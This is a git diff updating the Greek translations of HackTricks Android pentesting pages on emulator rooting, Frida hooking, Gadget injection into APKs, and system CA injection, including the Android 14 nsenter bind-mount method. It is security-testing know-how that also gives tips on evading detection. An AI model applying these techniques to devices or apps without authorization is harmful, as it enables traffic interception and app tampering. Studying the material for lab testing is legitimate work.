Google APIs x86/x86_64 κατά τη διάρκεια pentests. Οι εικόνες Play είναι βολικές αλλά αποκλείουν το `adb root`; χρησιμοποιήστε τις μόνο όταν χρειάζεστε συγκεκριμένα Play services και αποδέχεστε την έλλειψη root. +> Συμβουλή: Προτιμήστε εικόνες Google APIs x86/x86_64 κατά τη διάρκεια pentests. Οι εικόνες Play είναι βολικές αλλά εμποδίζουν το `adb root`; χρησιμοποιήστε τις μόνο όταν χρειάζεστε συγκεκριμένα Play services και αποδέχεστε την έλλειψη root. -## Rooting a Play Store device +## Rooting μιας συσκευής με Play Store -Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορείτε να αποκτήσετε root απευθείας, και θα λάβετε αυτό το μήνυμα σφάλματος +Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορέσετε να πάρετε root απευθείας, και θα λάβετε αυτό το μήνυμα σφάλματος ``` $ adb root adbd cannot run as root in production builds ``` -Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το root-άρω (δείτε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το κάνω root (ακολούθησε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)). ## Εγκατάσταση πιστοποιητικού Burp -Δείτε την παρακάτω σελίδα για να μάθετε πώς να εγκαταστήσετε ένα προσαρμοσμένο πιστοποιητικό CA: +Δες την παρακάτω σελίδα για να μάθεις πώς να εγκαταστήσεις ένα custom CA cert: {{#ref}} @@ -255,9 +254,9 @@ install-burp-certificate.md ## Χρήσιμες επιλογές AVD -### Λήψη Snapshot +### Δημιούργησε ένα snapshot -Μπορείτε να **χρησιμοποιήσετε το GUI** για να δημιουργήσετε ένα snapshot της VM οποιαδήποτε στιγμή: +Μπορείς να **χρησιμοποιήσεις το GUI** για να πάρεις ένα snapshot της VM οποιαδήποτε στιγμή: ![](<../../images/image (234).png>) @@ -265,6 +264,6 @@ install-burp-certificate.md - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline) -- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) +- [Εκτέλεση εφαρμογών ARM στον Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index a052e2cd8..17b7ca732 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -5,27 +5,27 @@ ## Εγκατάσταση -Εγκαταστήστε **frida tools**: +Εγκαταστήστε τα **frida tools**: ```bash pip install frida-tools pip install frida ``` -**Κατεβάστε και εγκαταστήστε** στο Android το **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -Μια γραμμή εντολής για να επανεκκινήσετε το adb σε root mode, να συνδεθείτε σε αυτό, να ανεβάσετε το frida-server, να δώσετε δικαιώματα εκτέλεσης και να το τρέξετε στο παρασκήνιο: +**Κατέβασε και εγκατάστησε** στο android τον **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +Μία εντολή μίας γραμμής για να επανεκκινήσεις το adb σε root mode, να συνδεθείς σε αυτό, να ανεβάσεις το frida-server, να του δώσεις δικαιώματα εκτέλεσης και να το τρέξεις στο παρασκήνιο: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**Ελέγξτε** αν **λειτουργεί**: +**Έλεγξε** αν **λειτουργεί**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -Δύο συνήθεις τρόποι για την παρακολούθηση/παρέμβαση σε εφαρμογές Android με το Frida: +Δύο κοινές μέθοδοι για τη δυναμική ανάλυση εφαρμογών Android με Frida: -- Frida server (rooted devices): Αποστέλλετε και τρέχετε έναν native daemon που σας επιτρέπει να συνδεθείτε σε οποιαδήποτε διεργασία. -- Frida Gadget (no root): Ενσωματώνετε το Frida ως shared library μέσα στο APK και το φορτώνετε αυτόματα μέσα στη στοχευόμενη διεργασία. +- Frida server (rooted devices): Προωθείς (push) και τρέχεις έναν native daemon που σου επιτρέπει να κάνεις attach σε οποιαδήποτε διεργασία. +- Frida Gadget (no root): Ενσωματώνεις το Frida ως shared library μέσα στο APK και το φορτώνεις αυτόματα μέσα στη στοχευόμενη διεργασία. Frida server (rooted) ```bash @@ -44,7 +44,7 @@ Frida Gadget (no-root) 1) Αποσυμπιέστε το APK, προσθέστε το gadget .so και το config: - Τοποθετήστε libfrida-gadget.so στο lib// (π.χ., lib/arm64-v8a/) -- Δημιουργήστε assets/frida-gadget.config με τις ρυθμίσεις φόρτωσης των scripts σας +- Δημιουργήστε assets/frida-gadget.config με τις ρυθμίσεις φόρτωσης script σας Παράδειγμα frida-gadget.config ```json @@ -54,9 +54,9 @@ Frida Gadget (no-root) } ``` 2) Αναφορά/φόρτωση του gadget ώστε να αρχικοποιηθεί νωρίς: -- Το απλούστερο: Πρόσθεσε ένα μικρό Java stub που καλεί System.loadLibrary("frida-gadget") μέσα σε Application.onCreate(), ή χρησιμοποίησε τον υπάρχοντα μηχανισμό φόρτωσης native βιβλιοθηκών. +- Πιο εύκολο: Προσθέστε ένα μικρό Java stub που καλεί System.loadLibrary("frida-gadget") στο Application.onCreate(), ή χρησιμοποιήστε την ήδη υπάρχουσα φόρτωση native lib. -3) Επανασυσκεύασε και υπέγραψε το APK, και μετά εγκατέστησέ το: +3) Ξαναπακετάρετε και υπογράψτε το APK, στη συνέχεια εγκαταστήστε: ```bash apktool d app.apk -o app_m # ... add gadget .so and config ... @@ -64,14 +64,14 @@ apktool b app_m -o app_gadget.apk uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) Συνδέστε από το host στο gadget process: +4) Attach από host στο gadget process: ```bash frida-ps -Uai frida -U -n com.example.app ``` Σημειώσεις -- Το Gadget ανιχνεύεται από κάποιες προστασίες· κράτα τα ονόματα/διαδρομές stealthy και φόρτωσέ τα αργά/υπό συνθήκη αν χρειάζεται. -- Σε hardened apps, προτίμησε rooted testing με server + late attach, ή συνδύασέ το με Magisk/Zygisk hiding. +- Το Gadget ανιχνεύεται από ορισμένες προστασίες· κρατήστε τα names/paths διακριτικά και φορτώστε αργά/υπό όρους αν χρειάζεται. +- Σε hardened εφαρμογές, προτιμήστε testing σε rooted συσκευές με server + late attach, ή συνδυάστε με Magisk/Zygisk hiding. ## Οδηγοί @@ -81,23 +81,23 @@ frida -U -n com.example.app **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Πηγαίος Κώδικας**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Ακολούθησε τον [link to read it](frida-tutorial-1.md).** +**Follow the [link to read it](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) **Από**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs και Πηγαίος Κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Ακολούθησε την[ link to read it.](frida-tutorial-2.md)** +**Ακολουθήστε the[ link to read it.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) **Από**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Ακολούθησε τον [link to read it](owaspuncrackable-1.md).** +**Follow the [link to read it](owaspuncrackable-1.md).** -**Μπορείς να βρεις περισσότερα Awesome Frida scripts εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**Μπορείτε να βρείτε περισσότερα Awesome Frida scripts εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## Γρήγορα Παραδείγματα @@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking functions χωρίς παραμέτρους +### Hooking συναρτήσεων χωρίς παραμέτρους -Hook the function `a()` της κλάσης `sg.vantagepoint.a.c` +Hook τη συνάρτηση `a()` της κλάσης `sg.vantagepoint.a.c` ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -Hook στο android `.onCreate()` +Hook android `.onCreate()` ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking functions with parameters and retrieving the value +### Hooking συναρτήσεων με παραμέτρους και ανάκτηση της τιμής -Hooking μιας decryption function. Τυπώστε το input, καλέστε την original function για να decrypt το input και τελικά τυπώστε τα plain data: +Hooking μιας συνάρτησης decryption. Εκτύπωσε την είσοδο, κάλεσε την αρχική συνάρτηση για να decrypt την είσοδο και, τέλος, εκτύπωσε το απλό κείμενο: ```javascript function getString(data) { var ret = "" @@ -197,7 +197,7 @@ return ret //[B ``` ### Hooking functions and calling them with our input -Hook μια function που λαμβάνει ένα string και κάλεσέ την με άλλο string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +Hook a function που δέχεται ένα string και κάλεσέ το με ένα άλλο string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -212,7 +212,7 @@ return ret ``` ### Λήψη ενός ήδη δημιουργημένου αντικειμένου μιας κλάσης -Αν θέλετε να εξάγετε κάποια ιδιότητα ενός δημιουργημένου αντικειμένου, μπορείτε να χρησιμοποιήσετε αυτό. +Αν θέλεις να εξαγάγεις κάποια ιδιότητα ενός δημιουργημένου αντικειμένου, μπορείς να χρησιμοποιήσεις αυτό. Σε αυτό το παράδειγμα θα δείτε πώς να πάρετε το αντικείμενο της κλάσης my_activity και πώς να καλέσετε τη συνάρτηση .secret() που θα εκτυπώσει μια ιδιωτική ιδιότητα του αντικειμένου: ```javascript @@ -225,15 +225,15 @@ console.log("Result of secret func: " + instance.secret()) onComplete: function () {}, }) ``` -## Άλλοι οδηγοί για Frida +## Άλλα σεμινάρια για Frida - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Μέρος 1 της σειράς άρθρων Advanced Frida Usage: iOS Βιβλιοθήκες Κρυπτογράφησης](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Μέρος 1 της σειράς άρθρων Advanced Frida Usage: IOS Βιβλιοθήκες Κρυπτογράφησης](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) ## Αναφορές -- [Δημιουργία επαναλήψιμου Android Bug Bounty εργαστηρίου: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Δημιουργία επαναλήψιμου εργαστηρίου Android Bug Bounty: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Τεκμηρίωση Frida Gadget](https://frida.re/docs/gadget/) - [Εκδόσεις Frida (server binaries)](https://github.com/frida/frida/releases) diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 39cada46c..b9e59032e 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Εγκατάσταση πιστοποιητικού Burp +# Εγκατάσταση του πιστοποιητικού Burp {{#include ../../banners/hacktricks-training.md}} -## Proxy σε όλο το σύστημα μέσω ADB +## Proxy σε επίπεδο συστήματος μέσω ADB -Διαμορφώστε έναν παγκόσμιο HTTP proxy ώστε όλες οι εφαρμογές να δρομολογούν την κίνηση μέσω του interceptor (Burp/mitmproxy): +Διαμορφώστε έναν παγκόσμιο HTTP proxy ώστε όλες οι εφαρμογές να δρομολογούν την κίνηση μέσω του interceptor σας (Burp/mitmproxy): ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -Tip: Στο Burp, bind το listener σας στο 0.0.0.0 ώστε οι συσκευές στο LAN να μπορούν να συνδεθούν (Proxy -> Options -> Proxy Listeners). +Συμβουλή: Στο Burp, bind τον listener σε 0.0.0.0 ώστε οι συσκευές στο LAN να μπορούν να συνδεθούν (Proxy -> Options -> Proxy Listeners). -## Σε Εικονική Μηχανή +## Σε μια εικονική μηχανή -Πρώτα απ' όλα πρέπει να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε στο _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ +Πρώτα απ' όλα χρειάζεται να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε από _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../images/image (367).png>) -**Εξάγετε το πιστοποιητικό σε μορφή Der** και ας **μετατρέψουμε** το σε μια μορφή που το **Android** θα μπορέσει να **κατανοήσει.** Σημειώστε ότι **για να ρυθμίσετε το burp certificate στην Android μηχανή στο AVD** χρειάζεται να **τρέξετε** αυτή τη μηχανή **με** την **`-writable-system`** επιλογή.\ -Για παράδειγμα μπορείτε να το τρέξετε ως εξής: +**Export the certificate in Der format** και ας το **transform** σε μια μορφή που το **Android** θα είναι σε θέση να **understand.** Σημειώστε ότι **in order to configure the burp certificate on the Android machine in AVD** χρειάζεται να **run** αυτή τη μηχανή **with** την επιλογή **`-writable-system`**.\\ +Για παράδειγμα μπορείτε να το τρέξετε ως: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -Έπειτα, για να **ρυθμίσετε το πιστοποιητικό burps, κάντε**: +Στη συνέχεια, για να **ρυθμίσετε το πιστοποιητικό του burps**, κάντε: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Μόλις **η μηχανή ολοκληρώσει την επανεκκίνηση** το burp certificate θα χρησιμοποιείται από αυτή! +Μόλις το **machine finish rebooting** το πιστοποιητικό burp θα χρησιμοποιείται από αυτό! -## Χρήση Magisc +## Χρήση του Magisc -If you **rooted your device with Magisc** (maybe an emulator), and you **can't follow** the previous **steps** to install the Burp cert because the **filesystem is read-only** and you cannot remount it writable, there is another way. +Αν **rooted τη συσκευή σας με Magisc** (ίσως an emulator), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το Burp cert επειδή το **filesystem είναι read-only** και δεν μπορείτε να remount το filesystem ως writable, υπάρχει άλλη λύση. -Εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) και χρειάζεται να: +Όπως εξηγείται στο [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να: -1. **Install a CA certificate**: Απλά **drag&drop** το DER Burp certificate **changing the extension** σε `.crt` στο κινητό ώστε να αποθηκευτεί στο φάκελο Downloads και πηγαίνετε σε `Install a certificate` -> `CA certificate` +1. **Εγκατάσταση πιστοποιητικού CA**: Απλώς **drag&drop** το DER Burp certificate αλλάζοντας την επέκταση σε `.crt` στο κινητό ώστε να αποθηκευτεί στον φάκελο Downloads και πηγαίνετε σε `Install a certificate` -> `CA certificate`
@@ -53,27 +53,27 @@ If you **rooted your device with Magisc** (maybe an emulator), and you **can't f
-2. **Make it System trusted**: Κατεβάστε το Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα .zip αρχείο), **drag&drop it** στο τηλέφωνο, ανοίξτε την εφαρμογή **Magics** στο τηλέφωνο στην ενότητα **`Modules`**, κάντε κλικ στο **`Install from storage`**, επιλέξτε το `.zip` module και μόλις εγκατασταθεί **reboot** το τηλέφωνο: +2. **Make it System trusted**: Κατεβάστε το Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (αρχείο .zip), **drag&drop it** στο τηλέφωνο, ανοίξτε την **Magics app** στο τηλέφωνο στην ενότητα **`Modules`**, κάντε κλικ στο **`Install from storage`**, επιλέξτε το `.zip` module και μόλις εγκατασταθεί **reboot** το τηλέφωνο:
-- Μετά την επανεκκίνηση, πηγαίνετε σε `Trusted credentials` -> `SYSTEM` και ελέγξτε ότι το Postswigger cert είναι εκεί +- Μετά την επανεκκίνηση, πηγαίνετε σε `Trusted credentials` -> `SYSTEM` και ελέγξτε ότι το Postswigger cert υπάρχει εκεί
-### Learn how to create a Magisc module +### Μάθετε πώς να δημιουργήσετε ένα Magisc module Δείτε [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) ## Post Android 14 -Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε σημαντική αλλαγή στον τρόπο χειρισμού των system-trusted Certificate Authority (CA) certificates. Παλαιότερα, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με root προνόμια, πράγμα που επέτρεπε την άμεση εφαρμογή τους σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, έναν κατάλογο εντός της διαδρομής **`/apex`**, ο οποίος είναι αμετάβλητος από τη φύση του. +Στην πιο πρόσφατη έκδοση Android 14 παρατηρήθηκε μια σημαντική αλλαγή στον τρόπο διαχείρισης των system-trusted Certificate Authority (CA) πιστοποιητικών. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με root προνόμια, επιτρέποντας την άμεση εφαρμογή τους σε όλο το σύστημα. Ωστόσο, με το Android 14, η θέση αποθήκευσης μεταφέρθηκε σε **`/apex/com.android.conscrypt/cacerts`**, έναν κατάλογο μέσα στο **`/apex`** path, ο οποίος είναι αμετάβλητος από τη φύση του. -Οι προσπάθειες να γίνει remount η APEX cacerts διαδρομή ως εγγράψιμη αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες ενέργειες. Ακόμη και οι προσπάθειες να απομακρυνθεί ή να επικαλυφθεί ο κατάλογος με ένα προσωρινό file system (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα· οι εφαρμογές συνεχίζουν να προσπελάζουν τα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από αλλαγές στο επίπεδο του file system. Αυτή η ανθεκτικότητα οφείλεται στο ότι το mount του **`/apex`** έχει ρυθμιστεί με PRIVATE propagation, εξασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες. +Οι προσπάθειες να remount το APEX cacerts path ως writable αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες ενέργειες. Ακόμα και οι προσπάθειες να unmount ή να overlay τον κατάλογο με ένα προσωρινό file system (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα· οι εφαρμογές εξακολουθούν να προσπελαύνουν τα αρχικά δεδομένα των πιστοποιητικών ανεξάρτητα από αλλαγές στο επίπεδο του file system. Αυτή η ανθεκτικότητα οφείλεται στο ότι το mount του **`/apex`** έχει ρυθμιστεί με PRIVATE propagation, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις μέσα στον κατάλογο **`/apex`** δεν επηρεάζουν άλλες διεργασίες. -Η αρχικοποίηση του Android περιλαμβάνει τη διεργασία `init`, η οποία, κατά την εκκίνηση του λειτουργικού συστήματος, ξεκινά επίσης τη διεργασία Zygote. Αυτή η διεργασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο mount namespace που περιλαμβάνει ένα private **`/apex`** mount, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον κατάλογο από άλλες διεργασίες. +Η εκκίνηση του Android περιλαμβάνει τη διεργασία `init` που, κατά την εκκίνηση του λειτουργικού, ξεκινά επίσης τη διεργασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο mount namespace που περιλαμβάνει ένα ιδιωτικό mount **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον κατάλογο από άλλες διεργασίες. -Παρόλα αυτά, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα system-trusted CA certificates εντός του καταλόγου **`/apex`**. Αυτή περιλαμβάνει το χειροκίνητο remount του **`/apex`** για την αφαίρεση της PRIVATE propagation, καθιστώντας το έτσι εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη θέση, την αποπροσάρτηση (unmount) του καταλόγου **`/apex/com.android.conscrypt`** για να αφαιρεθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί ταχεία ενέργεια για να αποφευχθεί η αστάθεια ή το crash του συστήματος. Για να εξασφαλιστεί η εφαρμογή των αλλαγών σε ολόκληρο το σύστημα, συνιστάται η επανεκκίνηση της `system_server`, η οποία ουσιαστικά επανεκκινεί όλες τις εφαρμογές και επαναφέρει το σύστημα σε συνεπή κατάσταση. +Παρόλα αυτά, υπάρχει ένας τρόπος παράκαμψης για όσους χρειάζεται να τροποποιήσουν τα system-trusted CA πιστοποιητικά μέσα στον κατάλογο **`/apex`**. Αυτό περιλαμβάνει το χειροκίνητο remount του **`/apex`** για να αφαιρεθεί το PRIVATE propagation, καθιστώντας το writable. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, το unmount του **`/apex/com.android.conscrypt`** για να αφαιρεθεί ο περιορισμός read-only, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση μέσα στο **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη εκτέλεση για να αποφευχθεί η κατάρρευση του συστήματος. Για να διασφαλιστεί η εφαρμογή των αλλαγών σε επίπεδο όλου του συστήματος, συνιστάται η επανεκκίνηση του `system_server`, που ουσιαστικά επανεκκινεί όλες τις εφαρμογές και επαναφέρει το σύστημα σε συνεπή κατάσταση. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,22 +133,22 @@ echo "System certificate injected" ``` ### Bind-mounting μέσω NSEnter -1. **Δημιουργία εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την προσάρτηση ενός `tmpfs` πάνω από τον υπάρχοντα μη-APEX κατάλογο πιστοποιητικών συστήματος. Αυτό γίνεται με την ακόλουθη εντολή: +1. **Ρύθμιση εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος κάνοντας mount ένα `tmpfs` πάνω στον υπάρχοντα non-APEX κατάλογο πιστοποιητικών συστήματος. Αυτό επιτυγχάνεται με την ακόλουθη εντολή: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparing CA Certificates**: Αφού ρυθμιστεί ο εγγράψιμος κατάλογος, τα πιστοποιητικά CA που σκοπεύει κανείς να χρησιμοποιήσει πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμόσετε τα δικαιώματα και τις ετικέτες SELinux αυτών των πιστοποιητικών ανάλογα. -3. **Bind Mounting for Zygote**: Χρησιμοποιώντας `nsenter`, εισέρχεται κανείς στο mount namespace του Zygote. Το Zygote, ως η διεργασία που είναι υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα ώστε να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινούν εφεξής θα χρησιμοποιούν τα πρόσφατα διαμορφωμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι: +2. **Preparing CA Certificates**: Μετά τη ρύθμιση του εγγράψιμου καταλόγου, τα CA certificates που προτίθεστε να χρησιμοποιήσετε πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων certificates από `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμόσετε ανάλογα τα δικαιώματα (permissions) και τις SELinux ετικέτες αυτών των certificates. +3. **Bind Mounting for Zygote**: Χρησιμοποιώντας `nsenter`, εισέρχεστε στο mount namespace του Zygote. Το Zygote, ως η διεργασία υπεύθυνη για την εκκίνηση των Android εφαρμογών, απαιτεί αυτό το βήμα ώστε να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινούν από εδώ και πέρα θα χρησιμοποιούν τα νεοδιαμορφωμένα CA certificates. Η εντολή που χρησιμοποιείται είναι: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Αυτό διασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινάει θα συμμορφώνεται με τη ρύθμιση των ενημερωμένων πιστοποιητικών CA. +Αυτό εξασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινάει θα συμμορφώνεται με τη ενημερωμένη ρύθμιση των πιστοποιητικών CA. -4. **Εφαρμογή Αλλαγών σε Εκτελούμενες Εφαρμογές**: Για να εφαρμόσετε τις αλλαγές σε εφαρμογές που ήδη εκτελούνται, χρησιμοποιείται ξανά το `nsenter` για να μπείτε στο namespace κάθε εφαρμογής ξεχωριστά και να πραγματοποιήσετε ένα παρόμοιο bind mount. Η απαραίτητη εντολή είναι: +4. **Εφαρμογή αλλαγών σε εφαρμογές που τρέχουν**: Για να εφαρμόσετε τις αλλαγές σε ήδη τρέχουσες εφαρμογές, χρησιμοποιείται ξανά το `nsenter` για να εισέλθετε στο namespace κάθε εφαρμογής ξεχωριστά και να εκτελέσετε ένα αντίστοιχο bind mount. Η απαραίτητη εντολή είναι: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternative Approach - Soft Reboot**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1) και στη συνέχεια ένα soft reboot του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθεί κανείς σε κάθε εκτελούμενη app ξεχωριστά. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της αναστάτωσης από την επανεκκίνηση. +5. **Εναλλακτική Προσέγγιση - Soft Reboot**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από ένα soft reboot του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθείτε ξεχωριστά σε κάθε running app. Ωστόσο, αυτή η μέθοδος γενικά θεωρείται λιγότερο προτιμητέα λόγω της ταλαιπωρίας του rebooting. ## Αναφορές diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index ac231a262..e55594872 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,61 +2,62 @@ {{#include 